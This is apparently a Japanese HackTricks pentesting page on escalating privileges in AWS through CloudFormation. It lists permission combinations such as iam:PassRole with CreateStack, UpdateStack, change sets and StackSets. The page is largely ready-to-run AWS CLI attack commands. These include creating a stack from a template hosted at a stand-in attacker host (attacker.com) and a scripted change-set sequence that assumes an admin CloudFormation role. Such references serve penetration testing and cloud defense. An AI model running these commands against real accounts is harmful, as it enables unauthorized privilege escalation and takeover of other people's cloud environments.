AWS - Cloudformation Privesc

HackTricksのサポート

cloudformation

Cloudformationに関する詳細情報は次を参照してください:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

これらの権限を持つ攻撃者は、指定されたロールの権限でアクションを実行するために、カスタムテンプレートを使用して、自分のサーバーにホストされたCloudFormationスタックを作成することで、権限をエスカレーションできます。

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

以下のページには、追加の権限 cloudformation:DescribeStacks を使用した exploitation example があります:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

潜在的な影響: 指定されたcloudformationサービスロールへの権限昇格。

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

この場合、既存のcloudformationスタックを悪用して更新し、前述のシナリオと同様に権限を昇格させることができます。

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

cloudformation:SetStackPolicy | cloudformation:UpdateStack

この権限を使用して、スタック上で自分自身にUpdateStack権限を与え、攻撃を実行することができます。

潜在的な影響: 指定されたcloudformationサービスロールへの昇格。

cloudformation:UpdateStack | cloudformation:SetStackPolicy

この権限を持っているが、iam:PassRoleがない場合でも、使用されているスタックを更新し、すでにアタッチされているIAMロールを悪用することができます。アップデート時にロールを指定しないでください(前のセクションのエクスプロイト例を確認してください)。

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

ロールを渡し、ChangeSetを作成および実行する権限を持つ攻撃者は、CreateStackまたはUpdateStackと同様に、新しいcloudformationスタックを作成/更新し、cloudformationサービスロールを悪用することができます。

次のエクスプロイトは、スタックを作成するためにChangeSet権限を使用したCreateStackのバリエーションです。

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

cloudformation:SetStackPolicy 権限を使用して、スタックに対する ChangeSet 権限を自分自身に付与し、攻撃を実行することができます。

潜在的な影響: cloudformation サービスロールへの特権昇格。

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

これは前の方法と同様ですが、IAM ロールを渡さずに、すでにアタッチされているものを悪用するだけで済みます。単にパラメータを変更します。

--change-set-type UPDATE

潜在的影響: すでにアタッチされているcloudformationサービスロールへの権限昇格。

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

攻撃者はこれらの権限を悪用して、StackSetsを作成/更新して任意のcloudformationロールを悪用する可能性があります。

潜在的な影響: cloudformationサービスロールへの権限昇格。

cloudformation:UpdateStackSet

攻撃者は、この権限を悪用して、passRole権限なしでStackSetsを更新し、アタッチされたcloudformationロールを悪用する可能性があります。

潜在的な影響: アタッチされたcloudformationロールへの権限昇格。

参考文献

HackTricksのサポート

Last updated